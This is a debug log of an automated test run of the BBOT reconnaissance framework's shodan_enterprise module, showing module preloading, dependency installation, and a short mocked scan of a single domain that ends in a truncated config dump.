[DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 19:07:56,897 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 19:07:56,898 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 19:07:56,899 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 19:07:56,899 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 19:07:56,900 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 19:07:56,900 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 19:07:56,901 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 19:07:56,902 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 19:07:56,902 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 19:07:56,903 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 19:07:56,903 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 19:07:56,904 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 19:07:56,905 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 19:07:56,905 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 19:07:56,906 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 19:07:56,907 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 19:07:56,908 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 19:07:56,908 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 19:07:56,909 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 19:07:56,910 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 19:07:56,910 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 19:07:56,911 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 19:07:56,911 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 19:07:56,912 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 19:07:56,912 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 19:07:56,913 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 19:07:56,913 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 19:07:56,914 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 19:07:56,915 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 19:07:56,915 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 19:07:56,916 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 19:07:56,916 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 19:07:56,917 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 19:07:56,917 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 19:07:56,918 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 19:07:56,919 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 19:07:56,919 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 19:07:56,920 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 19:07:56,920 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 19:07:56,921 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 19:07:56,922 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 19:07:56,923 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 19:07:56,924 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 19:07:56,924 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 19:07:56,925 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 19:07:56,925 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 19:07:56,926 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 19:07:56,926 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 19:07:56,927 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 19:07:56,928 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 19:07:56,929 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 19:07:56,929 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 19:07:56,930 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 19:07:56,930 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 19:07:56,931 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 19:07:56,932 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 19:07:56,933 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 19:07:56,933 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 19:07:56,934 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 19:07:56,935 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 19:07:56,935 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 19:07:56,936 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 19:07:56,936 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 19:07:56,937 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 19:07:56,938 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 19:07:56,938 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 19:07:56,939 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 19:07:56,939 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 19:07:56,940 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 19:07:58,010 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:07:58,010 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:07:58,011 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 19:07:58,147 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 19:07:58,716 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 19:07:58,716 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 19:07:58,717 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 19:07:58,717 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 19:07:58,951 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 19:07:58,952 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 19:07:59,061 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 19:07:59,061 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 19:07:59,115 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 19:07:59,118 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 19:07:59,118 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 19:07:59,554 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 19:07:59,555 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 19:08:01,551 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 19:08:01,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 19:08:01,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 19:08:03,335 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 19:08:03,336 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 19:08:03,340 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:08:03,340 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 19:08:03,341 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:08:03,341 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 19:08:03,341 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 19:08:03,342 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 19:08:03,345 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/6t27942n1w1dfiyy0bux -2026-02-27 19:08:04,140 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 19:08:04,141 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 19:08:04,142 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:08:04,142 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 19:08:04,142 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:08:04,143 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 19:08:04,144 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 19:08:04,263 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 19:08:04,263 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 19:08:04,263 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 19:08:04,265 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 19:08:04,266 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 19:08:04,266 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 19:08:04,266 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 19:08:04,267 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 19:08:04,267 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 19:08:04,268 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 19:08:04,268 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 19:08:04,268 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 19:08:04,268 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 19:08:04,269 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 19:08:04,269 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 19:08:04,269 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 19:08:04,269 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 19:08:04,269 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 19:08:04,270 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 19:08:04,270 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 19:08:04,270 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 19:08:04,270 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 19:08:04,270 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 19:08:04,270 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 19:08:04,270 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 19:08:04,270 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 19:08:04,270 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 19:08:04,271 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 19:08:04,271 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 19:08:04,272 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 19:08:04,272 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 19:08:04,272 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 19:08:04,273 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 19:08:04,273 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 19:08:04,273 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 19:08:04,273 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 19:08:04,274 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 19:08:04,274 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 19:08:04,274 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 19:08:04,274 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 19:08:04,274 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 19:08:04,275 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 19:08:04,275 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 19:08:04,275 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 19:08:04,278 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 19:08:04,419 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_awsj7y3s1x -2026-02-27 19:08:04,419 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 19:08:04,527 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 19:08:04,527 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 19:08:04,527 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 19:08:04,530 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'domain', 'target'}) -2026-02-27 19:08:04,629 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'domain', 'target'}) passed post-check -2026-02-27 19:08:04,630 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'domain', 'target'}) -2026-02-27 19:08:04,632 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'domain', 'target'}) in-scope because its main host matches the scan target -2026-02-27 19:08:04,633 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) -2026-02-27 19:08:04,634 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:08:04,635 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:08:04,635 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) passed post-check -2026-02-27 19:08:04,636 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) -2026-02-27 19:08:04,637 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:08:04,639 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 19:08:04,639 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:08:04,641 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:08:04,641 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:08:04,643 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:08:04,644 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 19:08:04,649 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config -2026-02-27 19:08:04,650 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) -2026-02-27 19:08:04,651 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) passed post-check -2026-02-27 19:08:04,651 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) -2026-02-27 19:08:04,651 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) -2026-02-27 19:08:04,652 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 19:08:04,730 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 19:08:04,732 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:08:04,733 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) from TARGET -2026-02-27 19:08:04,733 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'domain', 'target', 'in-scope'}) passed post-check -2026-02-27 19:08:04,734 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 19:08:04,734 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 19:08:04,735 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 19:08:04,735 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 19:08:04,736 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 19:08:04,737 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 19:08:04,737 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 19:08:04,737 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 19:08:04,838 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 19:08:04,839 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 19:08:04,857 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 19:08:04,858 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 19:08:04,858 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 19:08:04,865 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 19:08:04,866 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 19:08:04,866 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 19:08:04,868 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 19:08:04,868 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 19:08:04,869 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 19:08:04,979 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_awsj7y3s1x completed in 0 seconds with status FINISHED -2026-02-27 19:08:04,980 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 19:08:04,981 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:08:04,982 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:bb8ac944ff20020e240bc7087e303b18d6feccc6', 'name': 'testshodan_enterprise_test_awsj7y3s1x', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_awsj7y3s1x', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 